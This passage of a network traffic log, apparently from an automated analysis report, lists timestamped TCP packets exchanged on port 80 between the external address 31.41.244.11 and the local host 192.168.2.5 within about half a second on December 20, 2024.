Dec 20, 2024 13:12:23.252372026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.252417088 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.252573013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.252584934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.252620935 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.252635002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.253853083 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.253901005 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.253990889 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.254043102 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.254849911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.254859924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.254899025 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.256061077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.256113052 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.256130934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.256176949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.257174969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.257221937 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.258016109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.258028984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.258048058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.258060932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.258094072 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.258948088 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.258994102 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.259135008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.259180069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.259747028 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.259800911 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.260330915 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.260380030 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.260754108 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.260798931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.261089087 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.261145115 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.261589050 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.261640072 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.261833906 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.261878967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.262686968 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.262737989 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.262769938 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.262816906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.263760090 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.263811111 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.264019966 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.264066935 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.264753103 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.264801979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.265947104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.265959024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.265993118 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.266017914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.266341925 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.266386986 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.266976118 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.267036915 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.267529011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.267576933 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.268008947 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.268019915 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.268068075 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.269105911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.269115925 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.269165993 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.269825935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.269874096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.407064915 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.407125950 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.407567978 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.407579899 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.407592058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.407620907 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.407654047 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.408654928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.408715010 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.408791065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.408834934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.409687042 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.409729004 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.410259962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.410301924 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.410937071 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.410979033 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.411156893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.411197901 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.412000895 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.412050962 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.412208080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.412250042 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.412909985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.412951946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.413094044 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.413136959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.413902998 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.413952112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.414022923 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.414063931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.414856911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.414899111 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.415335894 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.415378094 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.415956020 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.415997028 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.416169882 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.416223049 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.416948080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.416996002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.417125940 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.417170048 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.418081045 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.418124914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.418342113 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.418381929 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.419084072 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.419126987 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.419177055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.419219971 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.420270920 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.420312881 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.420931101 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.420983076 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.421242952 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.421253920 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.421283960 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.421293974 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.422245026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.422286034 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.422358036 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.422396898 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.423283100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.423320055 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.423398972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.423434973 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.424305916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.424349070 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.424390078 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.424432993 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.425350904 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.425394058 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.426002026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.426044941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.426393986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.426434994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.426513910 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.426553011 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.427495956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.427537918 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.427567005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.427603960 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.428498983 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.428543091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.428643942 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.428684950 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.429529905 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.429584980 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.429781914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.429824114 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.430571079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.430623055 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.431631088 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.431669950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.431675911 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.431710005 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.431762934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.431802988 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.432729006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.432770967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.432806969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.432847023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.433775902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.433816910 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.434362888 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.434406996 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.434904099 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.434948921 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.434973001 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.435014009 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.435889006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.435930014 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.436037064 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.436077118 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.436903954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.436944962 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.437581062 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.437627077 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.437922955 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.437964916 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.438009024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.438050032 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.438944101 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.438998938 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.439064980 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.439104080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.440095901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.440155029 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.440807104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.440848112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.441131115 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.441153049 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.441176891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.441186905 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.442105055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.442151070 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.442173958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.442218065 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.443151951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.443202972 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.444240093 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.444252014 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.444284916 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.444287062 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.444303036 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.444325924 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.445226908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.445267916 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.445389986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.445430994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.446284056 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.446335077 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.446449995 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.446490049 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.447355986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.447403908 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.447619915 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.447666883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.448442936 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.448489904 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.448522091 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.448561907 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.449448109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.449492931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.450170994 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.450236082 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.450521946 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.450568914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.450748920 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.450790882 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.451505899 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.451551914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.451687098 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.451730013 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.452579975 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.452621937 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.452838898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.452883959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.453704119 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.453743935 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.453895092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.453933954 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.454773903 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.454817057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.454826117 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.454866886 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.455724955 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.455776930 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.456017017 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.456063032 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.456856966 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.456870079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.456901073 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.456913948 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.458071947 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.458084106 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.458118916 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.458132982 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.459084034 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.459125996 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.459930897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.459969044 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.460149050 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.460161924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.460191011 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.460201979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.461611032 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.461622953 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.461669922 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.462553024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.462601900 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.599287033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.599767923 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.599780083 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.599797010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.599829912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.599864006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.600760937 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.600878954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.600924015 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.601825953 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.601872921 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.602025032 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.602070093 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.602904081 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.602945089 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.603050947 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.603091002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.603908062 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.603954077 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.604010105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.604052067 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.605000973 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.605065107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.605099916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.605142117 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.606040955 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.606084108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.607085943 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.607096910 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.607108116 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.607136965 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.607170105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.608104944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.608855009 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.608907938 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.609158993 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.609201908 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.609251976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.609291077 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.610167980 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.610213041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.610568047 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.610609055 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.611246109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.611289024 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.611604929 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.611649036 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.612313986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.612576008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.612623930 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.613415956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.613460064 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.613528967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.613571882 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.614478111 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.614522934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.614818096 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.614865065 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.615490913 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.615546942 CET	49859	80	192.168.2.5	31.41.244.11
